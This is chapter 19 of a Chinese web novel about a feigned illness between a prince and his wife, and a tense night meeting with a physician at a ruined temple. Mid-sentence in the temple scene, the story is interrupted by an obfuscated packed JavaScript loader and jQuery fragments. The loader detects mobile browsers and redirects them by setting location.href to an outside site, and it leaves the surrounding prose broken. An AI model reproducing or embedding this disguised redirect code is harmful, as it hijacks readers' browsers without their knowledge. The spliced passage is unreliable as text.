19. 第 19 章

作品:《我与二皇子先婚后爱

    “王妃。”


    宫施宁以为是春雨回来了,她急忙转过头,发现是赵诚,她立刻收起笑意。“找我何事?”


    赵诚眼神慌乱,他低着头,吞吞吐吐道:“殿下回来后脸色变得惨白,手脚冰冷,怎么捂都捂不热,嘴里还唤着王妃您的名字。”


    脸色惨白、手脚冰冷,这岂不是寒症之兆?宫施宁没有多想,她起身急忙往游景亦房中跑去,还让赵诚去寻太医。


    到了房中,宫施宁走到游景亦床边,用手抚摸他的额头和手,发现他的身体的确异常冰凉。


    寒症一旦发作,说明游景亦的寿命只剩一年之久。如果不尽快医治他,就会白白损失一个盟友,如此一来,说明亡国的时日也快到了。


    “赵诚,你怎么还站在这,快去叫太医啊!”宫施宁本想去找几位小厮弄盆炭火取暖,却发现赵诚仍站在门外。


    她心急喊道:“快去啊,愣在这做什么。”


    赵诚仍站着不动,他只是低着头,随即把门关上。


    屋里瞬间变得漆黑一片,这让宫施宁心里顿时生出一股不好的念头。她想跑去门外呼救,却被一双大手拽进床中。


    她刚想抬头,头却被游景亦的手按住。


    “找太医无用,这是心病。”


    游景亦的声音在耳边响起。


    “什么心病,你傻啊——”宫施宁不知道游景亦在说什么胡话,她把盖在身上的被子掀开,急着下床起身,可她在慌乱中恰巧摸到一丝冰凉,摸起来像是水。


    她又在游景亦身边一阵乱摸,片刻后,她摸到了一个小块的黏糊的东西。起身一看,手里握着的那个东西居然是个冰块。


    好啊,她心急如焚跑来房中看望他,以为她快死了,没想到是被他耍了。


    游景亦见宫施宁一会儿红一会儿白的脸,发现玩笑开得有些过火,于是起身假装咳嗽两声掩饰尴尬。“我只是——”


    没等他说完,宫施宁的手立即在他脸上划过,此后,是一阵火辣辣的疼。


    “你觉得这样很好玩是吗?拿命来开玩笑?”


    “我只是想知道你究竟在不在乎我......”游景亦越说越没底,最后闭上嘴,没有再发出声音。他用余光观察宫施宁的表情,可惜看不清。


    “在乎来在乎去,你眼里只有情爱吗?我都答应你不再跟齐兮尘往来,为何你还要用这种拙劣的方式来探究我究竟在不在乎你呢?”宫施宁就不明白,怎么游景亦多活了一世,怎么还会如此幼稚至极。


    明明他不在乎情爱,只在乎他的复仇大计。可如今呢,不是跟齐兮尘争风吃醋,就是装病博同情,究竟想让她怎么做才能满意。


    “你不决定跟他往来,那为何还要跟他穿一样颜色的衣服。”


    听到这句话宫施宁顿时气笑了:“我这几日没出府,没跟他互寄过信,他穿什么颜色的衣服是我能决定的吗?仅仅是一个巧合而已,这你也要计较?那按照你这句话来说,你跟纭儿穿的也不是同一个颜色的衣服,我也没跟你计较啊。”


    一件衣服花色能证明什么?宫施宁不明白,这种小事都要刨根问底,图什么。


    “好,那你擅自脱下狐裘呢,这又算什么?”


    “算我热。”


    “这就是你的解释?”


    “不然呢?十月而已,无风无雨,我又不同你一样需要装病,难不成得披着狐裘一直闷出汗才行。你这人真是古怪,明明以前不是这样的。”


    游景亦眸色一沉,用着极为细微,极为轻柔只有他们两人才能听见的声音委屈道,“我今日被齐兮尘欺负,心情本就郁闷,让我胡闹一番又如何呢?难道盟友、夫妻这两个身份都不足以让你对我好?”


    “他欺负你?怎么可能,他才不是这种人。”宫施宁双手抱于胸前,她就想看看游景亦能演到什么时候。“还有什么委屈,你尽管说,别又找人过来烦我。”


    门外的赵诚听到这句话不由得心虚起来。


    “没了。”


    “确定?”


    “嗯。”


    既然游景亦都这么说了,宫施宁也不想再陪他继续装下去。“我们彼此知根知底,以后还是不要在我面前装可怜了。我答应你的事我会信守承诺,但你也得给我安分守己,不要给我招惹麻烦,更别随意说别人坏话。”


    “实话实说也算?”游景亦冷哼一声,他恢复了以往跟宫施宁相处的性子,“行,既然你宁愿相信他都不愿相信我,那我们之间没什么好说的。我以后一定会好好遵守承诺,绝不会麻烦你,更不会在背后说你小竹马的坏话。”


    宫施宁点头,她转身而去,离开屋子时,还特地瞪了一眼赵诚。这个不好好做事成天跟主子胡闹的侍卫,她每见一眼就生气。


    等宫施宁离开,赵诚才走入屋内。


    “赵诚,你说云城那位娶妻冲喜的人家病是何时好的?”


    “回殿下,那人似乎只用了半月时日,就彻底痊愈了。”


    “从我成婚到今日,一共是几日?”


    “正好半月。”


    “明日去通知汪公公和秦太医,说我们有一出好戏要演给陛下看。”


    “小姐!”


    宫施宁一走到长廊,就听见春雨在唤她。她停下,将方才的烦恼事抛诸脑后。“有锦大夫的消息了?”


    春雨提着衣袖,大步跑来,笑着点点头。她把揣在兜里的信交到宫施宁手里,没给自己半刻喘息就道,“锦大夫说今日子时到郊外十里的破庙见她,还说过时不候。这封信是溪兰转交给我的,她说公主已无大碍,还请小姐放心。”


    宫施宁紧皱的眉头终于舒缓起来,她拆开信封,只见信上说皇帝已经同意了游忆芮想要云游四方的请求,还说皇帝想立一位公主,让她嫁进荣国公府,好封了荣国公的口。


    不过公主人选迟迟还未定下,宫施宁在想,如果能派一位信任的人坐上公主之位嫁入荣国公府就能借此探听荣国公府的事。


    只是她身边除去春雨和游景亦再无信赖的人,上哪找一个新人且又符合皇帝心中公主的形象呢。如果公主家世不好,即便荣国公同意这桩婚事,也绝不会让方逸远入赘成驸马,定会家在中寻一个样貌、品行都不如方逸远的儿子入赘。


    但提到方逸远,宫施宁又想到了一个人。


    虽然关于方逸远的事她记的不多,但她知道方逸远曾与一位官家小姐有过一段刻骨铭心的感情。如果能找到一个与那位官家小姐相似之人,岂不是比被迫嫁进荣国公府要好。


    话虽如此,可宫施宁并不知晓那官家小姐长什么样子。要想知道那人模样,最简单的办法就是找游景亦问画像。知道方逸远前尘往事的就只有游景亦一人,他应该见过那位女子。


    游景亦跟方逸远曾经可是好兄弟,后来不知为何反目成仇,久而久之便如同陌生人一般,也不知道他现在还记不记得那人的模样。


    无妨,找人一事先暂且搁置,如今宫施宁还有一件更要紧的事要做。


    子时入夜,宫施宁重新穿上那身黑袍,快马加鞭赶往城郊赴约。


    锦素衣这人防备心强,警惕心重。她说要见一个人,就只见一个人。所以这次宫施宁并未叫上春雨跟着,而是独自出城前去破庙见人。


    十里说远也不远,很快,宫施宁就抵达了目的地。


    破庙附近极为阴森,每往前走一步,寒气就会加重。


    这里虽在郊外,却没有虫鸣鸟叫,只有树叶掉落,树枝折断的声音。


    宫施宁环顾周围,除去随风摇曳的树影以外几乎看不见任何东西。她又往破庙里望去,发现里面没有烧火的痕迹,也没有人的气息。


    在往常,她的耳朵能捕捉到细微的呼吸声,可是现在她什么都听不见。


    “锦大夫?”宫施宁踏入破庙,在庙里喊道。她喊了几声,但没人回应。


    她咽了咽口水,继续往前走,却被一把匕首拦住去路。


    “十宁,我们又见面了。”


    十宁是宫施宁给自己乱取的名字,她知道锦素衣跟宫烨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803203|158457||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有仇,所以没有把自己的姓氏告知锦素衣,为的就是怕锦素衣不答应见她。


    这下好了,如今匕首正架在她的脖子上,看来锦素衣已经知道她是将军府的人了。


    宫施宁举起手,两指轻轻推开匕首,呵呵笑几声。“锦大夫,这么多年未见,倒也不必给我准备这么一个见面礼吧。”


    锦素衣不想同宫施宁废话,她开门见山道:“当初你接近我到底有何目的,若你不如实相告,就别怪我心狠手辣。”


    “我当初接近你就是为了救你,能有什么目的。”


    这话立即激怒锦素衣,她把匕首贴近宫施宁的脖颈,轻轻一划。“别跟我耍花招,信不信我现在就杀了你。”


    “素衣,我真的没有骗你。我四岁时离开将军府,到鹤鸾郡生活,也是在那遇见的你。要是我接近你另有目的,你以为我当时会放你走吗?”见匕首稍稍远离了脖颈,宫施宁继续道,“我知道你在想什么,你想报仇对不对,我也想报仇。如果你信我,就请放下匕首,我们好好谈一谈。反正方圆十里只有我们二人,我跑不掉。”


    锦素衣犹豫片刻,最终把匕首收好。为防止宫施宁耍花招,她用绳子系住宫施宁的双脚,绑好后用手紧握着绳子另一端,死死捏着不放。


    两人就地而坐,彼此瞪着眼睛看着。


    “你想报什么仇?”锦素衣率先开口。


    “自然是虐待之仇。”


    “哦?”锦素衣有些诧异,她用匕首敲击地面,示意宫施宁继续说下去。


    “宫烨虐待我,派人推我下水,让我染上风寒,并以此为由将我送往鹤鸾郡。他还强迫我嫁给一个我不爱的人,逼我下跪在祠堂,但凡他不开心,就会用鞭子打我,甚至还让我当靶子故意用箭射我。我恨透了他,他毁了我的一辈子,所以我也想偿还回去。”


    宫施宁说着忽然流出了泪,她忍着泪腔继续道:“你若是不信,可以掀开衣服看看,箭伤就在我的右肩。”


    锦素衣盯了宫施宁一眼,解开她衣服的一角看过去,发现宫施宁所言不假。“的确有伤,可这又能证明什么?说来说去,你不还是她的女儿。一个做女儿的,真能跟别人合伙弑父?哼,我不信。”


    “不,你说错了,我不是宫烨的女儿。”


    “这又是演的哪一出戏。”


    “真的,我的生父可不是他,是一位和尚,法号玄素,他此刻就在云城静山寺。”


    锦素衣思索片刻:“章...争?你说你的生父是镇南将军章争?怎么可能,他一生未娶,我从未听说他有过女儿。”


    “千真万确,哪能有假。你若不信,我们明日便可到静山寺去,你医术高明,在你面前滴血认亲总做不了假吧。”


    锦素衣忽然笑了:“你当真以为我傻?我若是进了云城,岂不是插翅难逃,要是被宫烨撞见,我还能活命不成。”


    “十几年过去,他怎么可能认得出你。况且他如今在长边郡不在云城,你若是不知道这个情报怎么可能还敢邀我来这碰面。倘若你真要报仇,仅凭你一人,又凭你那高傲不可近人的性子,连巴结讨好权贵都做不到,何谈报仇一说?”


    “算你聪明。”锦素衣把手中绳子扔进宫施宁怀里,“我听人说你跟瑄王恩爱得很,应该不介意我到府上借宿一晚吧。”


    “正有此意。”宫施宁解开绳索,站起来伸了伸懒腰。“你先去把马牵过来,一会儿我们再走。”


    “哪有什么马,我是步行来的。”


    宫施宁眨了眨几下眼睛,随后一把抢过锦素衣的匕首,一把掰开。她释怀的放声大笑,“我就说嘛,连鸡都不敢杀的人怎么敢拿刀威胁别人。”


    在锦素衣用匕首敲击地面的时候宫施宁就知道那匕首是假的,划在脖子上刺挠得很,哪像真的刀,轻轻一划就立即渗出一股血味。


    锦素衣没说话,她把刀鞘夺回来,将真的匕首插进去。“谁说我不敢,我只是不想对你动手而已。”


    宫施宁用手抚着脖子,不禁有些后怕。